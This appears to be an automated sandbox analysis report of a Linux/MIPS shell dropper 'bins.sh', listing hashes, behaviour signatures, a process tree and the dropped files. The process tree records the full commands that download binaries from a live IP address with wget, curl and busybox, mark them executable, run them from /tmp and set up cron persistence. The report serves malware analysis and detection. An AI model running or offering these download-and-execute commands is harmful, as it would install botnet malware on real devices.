Analysis

  • max time kernel
    149s
  • max time network
    100s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 09:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    18262d4c826687f41461cf4c4568661b

  • SHA1

    f7050df68970ac968f93be6408d72cb0fc0e92a0

  • SHA256

    91c5f16130fbed4d65bab444c62746216cb6de59e859c33b21c10894f9008af3

  • SHA512

    af0e00f652cbc9864dcf26d491302b8e81b8134d0b4df40b3b09d2aab0caf553444e4bc949d2e05c63ad7bdb5bcc98ee01f5d459662e27d69c2a9ce52c4f0585

  • SSDEEP

    192:3Om8uM+B+V+F+4+g+p7CE4/tvhOm81+B+V+F+4+g+X4:dL0gwP3p7CE8tr0gwP3X4

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          ./llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:739
        • /bin/rm
          rm llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          PID:741
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • Writes file to tmp directory
          PID:742
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:743
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • Writes file to tmp directory
          PID:745
        • /bin/chmod
          chmod 777 SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          ./SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
          • Executes dropped EXE
          PID:752
        • /bin/rm
          rm SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
          2⤵
            PID:756
          • /usr/bin/wget
            wget http://216.126.231.240/bins/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • Writes file to tmp directory
            PID:757
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:770
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • Writes file to tmp directory
            PID:783
          • /bin/chmod
            chmod 777 T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • File and Directory Permissions Modification
            PID:792
          • /tmp/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            ./T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
            • Executes dropped EXE
            PID:794
          • /bin/rm
            rm T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b
            2⤵
              PID:798
            • /usr/bin/wget
              wget http://216.126.231.240/bins/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • Writes file to tmp directory
              PID:799
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • Writes file to tmp directory
              PID:802
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • Writes file to tmp directory
              PID:803
            • /bin/chmod
              chmod 777 tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • File and Directory Permissions Modification
              PID:804
            • /tmp/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              ./tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
              • Executes dropped EXE
              PID:805
            • /bin/rm
              rm tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz
              2⤵
                PID:807
              • /usr/bin/wget
                wget http://216.126.231.240/bins/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • Writes file to tmp directory
                PID:808
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:809
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • Writes file to tmp directory
                PID:819
              • /bin/chmod
                chmod 777 DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • File and Directory Permissions Modification
                PID:826
              • /tmp/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                ./DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                • Executes dropped EXE
                PID:827
              • /bin/rm
                rm DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX
                2⤵
                  PID:831
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • Writes file to tmp directory
                  PID:832
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:844
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • Writes file to tmp directory
                  PID:847
                • /bin/chmod
                  chmod 777 aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • File and Directory Permissions Modification
                  PID:848
                • /tmp/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  ./aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                  • Executes dropped EXE
                  PID:849
                • /bin/rm
                  rm aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb
                  2⤵
                    PID:851
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:853
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • Writes file to tmp directory
                    PID:854
                  • /bin/chmod
                    chmod 777 PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • File and Directory Permissions Modification
                    PID:855
                  • /tmp/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    ./PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                    • Executes dropped EXE
                    PID:856
                  • /bin/rm
                    rm PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr
                    2⤵
                      PID:858
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:860
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5
                      2⤵
                      • Writes file to tmp directory
                      PID:864
                    • /bin/chmod
                      chmod 777 Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5
                      2⤵
                      • File and Directory Permissions Modification
                      PID:865
                    • /tmp/Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5
                      ./Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5
                      2⤵
                      • Executes dropped EXE
                      PID:866
                    • /bin/rm
                      rm Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5
                      2⤵
                        PID:868
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/F4TPdIOkUe71pkPIwHCtD5Ex9gDhUDIMCK
                        2⤵
                        • Writes file to tmp directory
                        PID:869
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/F4TPdIOkUe71pkPIwHCtD5Ex9gDhUDIMCK
                        2⤵
                        • Writes file to tmp directory
                        PID:870
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/F4TPdIOkUe71pkPIwHCtD5Ex9gDhUDIMCK
                        2⤵
                        • Writes file to tmp directory
                        PID:871
                      • /bin/chmod
                        chmod 777 F4TPdIOkUe71pkPIwHCtD5Ex9gDhUDIMCK
                        2⤵
                        • File and Directory Permissions Modification
                        PID:872
                      • /tmp/F4TPdIOkUe71pkPIwHCtD5Ex9gDhUDIMCK
                        ./F4TPdIOkUe71pkPIwHCtD5Ex9gDhUDIMCK
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:873
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:875
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:876
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:877
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:878
                          • /bin/rm
                            rm F4TPdIOkUe71pkPIwHCtD5Ex9gDhUDIMCK
                            2⤵
                              PID:880
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/4L2y1oXzRIwRNnJMQSklt8VEG0ELqhvtIy
                              2⤵
                                PID:883
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/4L2y1oXzRIwRNnJMQSklt8VEG0ELqhvtIy
                                2⤵
                                • Reads runtime system information
                                PID:884
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/4L2y1oXzRIwRNnJMQSklt8VEG0ELqhvtIy
                                2⤵
                                • Writes file to tmp directory
                                PID:885
                              • /bin/chmod
                                chmod 777 4L2y1oXzRIwRNnJMQSklt8VEG0ELqhvtIy
                                2⤵
                                • File and Directory Permissions Modification
                                PID:886
                              • /tmp/4L2y1oXzRIwRNnJMQSklt8VEG0ELqhvtIy
                                ./4L2y1oXzRIwRNnJMQSklt8VEG0ELqhvtIy
                                2⤵
                                • Executes dropped EXE
                                PID:887
                              • /bin/rm
                                rm 4L2y1oXzRIwRNnJMQSklt8VEG0ELqhvtIy
                                2⤵
                                  PID:889
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/YZfi8kU1OoczKdY8PqiyKR8C6JxLG90c39
                                  2⤵
                                    PID:890

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/4L2y1oXzRIwRNnJMQSklt8VEG0ELqhvtIy

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/DnUWnzFfI1sARGT44JXXUVtWFLUNmq3VzX

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/F4TPdIOkUe71pkPIwHCtD5Ex9gDhUDIMCK

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/PZMmlejs7hrgcqALiIqBZ91CkPeo2pftnr

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/T7C4fGFH7uSUx2HyBk5FtfMIR97XuyUA0b

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/Ya2YiXhLBYxTsz88GKa44G79vi9u7ZAEN5

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/aWQNMFDTp7LItsPCOgnXkfkFp5UfjJVvMb

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/tuKUqq9vJnTkLCNg1H6DDIqvEepigeEhWz

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /var/spool/cron/crontabs/tmp.m8N01d

                                  Filesize

                                  210B

                                  MD5

                                  0af36c3c06beed8f4d569866bbe17ec2

                                  SHA1

                                  96c11457e2590c4a6e21d5ddbcce0de367bba000

                                  SHA256

                                  5ca097ea916912a593409a7b049406e24306884e6edcbf975944bcc41434e5f4

                                  SHA512

                                  2a6a0ad3cc2dd67dd175909a0d47f6e940ad21f0526e4d3419cb7657152dc8e45cc2da37a65f1cf03d8052894624102d8693d692bd4f89955ae33cc2537d8f2d